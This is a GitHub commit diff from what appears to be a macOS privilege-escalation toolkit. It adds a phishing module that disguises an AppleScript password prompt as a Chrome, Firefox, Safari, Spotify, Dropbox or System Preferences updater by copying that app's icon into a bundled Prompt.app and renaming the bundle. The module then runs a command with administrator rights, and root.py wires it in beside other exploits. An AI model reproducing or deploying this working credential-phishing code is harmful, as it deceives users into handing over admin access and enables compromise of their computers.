Skip to content

Commit 71883f7

Browse files
committed
plenty of phish in the sea
1 parent 4aaa2a3 commit 71883f7

File tree

5 files changed

+60
-15
lines changed

5 files changed

+60
-15
lines changed

.gitignore

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
1+
*.spec
12
*.pyc
23
__pycache__
34
build/
45
dist/
56
.DS_Store
6-
*.spec
7+
Prompt.app

Prompt.app.zip

50.9 KB
Binary file not shown.

exploits/general.py

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,10 @@ def default_browser():
2727
return handler.get("LSHandlerRoleAll")
2828
return
2929

30+
def app_installed(app_name):
31+
"""check if app installed"""
32+
return os.path.isdir("/Applications/" + app_name) or os.path.isdir("~/Applications/" + app_name)
33+
3034

3135
def osascript(command):
3236
"""runs shell for osascript"""

exploits/phish.py

Lines changed: 52 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,9 @@
11
"""phishes for sudo with AppleScript"""
2-
from .general import DEFAULT_COMMAND, default_browser, osascript, random_string
2+
import os
3+
import plistlib
4+
5+
from .general import (DEFAULT_COMMAND, app_installed, default_browser,
6+
osascript, random_string)
37

48
try:
59
input = raw_input
@@ -10,27 +14,57 @@
1014
__credits__ = "thehappydinoa"
1115

1216
BROWSERS = {
13-
"com.google.chrome": "Google Chrome Updater",
14-
"org.mozilla.firefox": "Firefox Updater",
15-
"com.apple.safari": "Safari Update"
17+
"com.google.chrome": ("Google Chrome.app", "/Contents/Resources/app.icns", "Google Chrome Updater"),
18+
"org.mozilla.firefox": ("Firefox.app", "/Contents/Resources/firefox.icns", "Firefox Updater"),
19+
"com.apple.safari": ("Safari.app", "/Contents/Resources/compass.icns", "Safari Update")
20+
}
21+
22+
APPS = {
23+
"Spotify.app": ("/Contents/Resources/Icon.icns", "Spotify Updater"),
24+
"Dropbox.app": ("/Contents/Resources/icon.icns", "DropboxMacUpdate")
1625
}
1726

1827

19-
def admin_prompt(app=None, prompt="System Update", command="echo hello"):
28+
def admin_prompt(app=None, icon_path=None, prompt="System Update", command="echo hello"):
2029
"""prompts with administrator privileges"""
2130
rand = random_string()
31+
print("\nPrompting: " + prompt)
2232
if app:
23-
payload = """osascript <<END
24-
set command to "{command}; echo {success}"
25-
tell app "{app}" to activate
26-
return tell app "{app}" to do shell script command with prompt "{prompt}" with administrator privileges
27-
END""".format(app=app, prompt=prompt, command=command, success=rand)
33+
if icon_path:
34+
app_path = "Prompt.app"
35+
zip_path = "Prompt.app.zip"
36+
if not os.path.exists(app_path) and os.path.exists(zip_path):
37+
os.system("unzip " + zip_path)
38+
if os.path.exists("/Applications/" + app):
39+
full_app_path = "/Applications/" + app
40+
else:
41+
full_app_path = "~/Applications/" + app
42+
plist = app_path + "/Contents/Info.plist"
43+
info = plistlib.readPlist(plist)
44+
info["CFBundleName"] = prompt
45+
info["CFBundleIdentifier"] = "com.apple.ScriptEditor.id." + \
46+
prompt.replace(" ", "")
47+
plistlib.writePlist(info, plist)
48+
print(os.system(
49+
"cp \"{icon_path}\" \"{app_path}/Contents/Resources/applet.icns\"; touch {app_path};".format(icon_path=full_app_path + icon_path, app_path=app_path)))
50+
payload = """open {app_path} --args "{command}; echo {success}" "{prompt}" """.format(
51+
app_path=app_path, prompt=prompt, command=command.replace('"', '\"'), success=rand)
52+
# print(payload) # Debugging
53+
os.system(payload)
54+
print("Application Launched...")
55+
return True
56+
else:
57+
payload = """osascript <<END
58+
set command to "{command}; echo {success}"
59+
tell app "{app}" to activate
60+
return do shell script command with prompt "{prompt}" with administrator privileges
61+
END""".format(app=app, prompt=prompt, command=command, success=rand)
62+
# return tell app "{app}" to do shell script command with prompt "{prompt}" with administrator privileges
2863
else:
2964
payload = """osascript <<END
3065
set command to "{command}; echo {success}"
3166
return do shell script command with prompt "{prompt}" with administrator privileges
3267
END""".format(prompt=prompt, command=command, success=rand)
33-
print("\nPrompting: " + prompt)
3468
response = osascript(payload)
3569
return rand in response
3670

@@ -44,5 +78,10 @@ def run():
4478
"""runs exploit"""
4579
browser = default_browser()
4680
if browser and browser in BROWSERS.keys():
47-
return admin_prompt(prompt=BROWSERS.get(browser), command=DEFAULT_COMMAND)
48-
return admin_prompt(command=DEFAULT_COMMAND)
81+
browser_data = BROWSERS.get(browser)
82+
return admin_prompt(app=browser_data[0], icon_path=browser_data[1], prompt=browser_data[2], command=DEFAULT_COMMAND)
83+
for app in APPS.keys():
84+
if app_installed(app):
85+
app_info = APPS.get(app)
86+
return admin_prompt(app=app, icon_path=app_info[0], prompt=app_info[1], command=DEFAULT_COMMAND)
87+
return admin_prompt(app="System Preferences.app", icon_path="/Contents/Resources/PrefApp.icns", prompt="System Update", command=DEFAULT_COMMAND)

root.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,8 @@
22
import platform
33
from distutils.version import LooseVersion
44

5-
from exploits import ardagent, dyld_print_to_file, libmalloc, nopass, piggyback, phish
5+
from exploits import (ardagent, dyld_print_to_file, libmalloc, nopass, phish,
6+
piggyback)
67

78
REDC = "\033[91m[-] "
89
YELLOWC = "\033[93m[!] "

0 commit comments

Comments
 (0)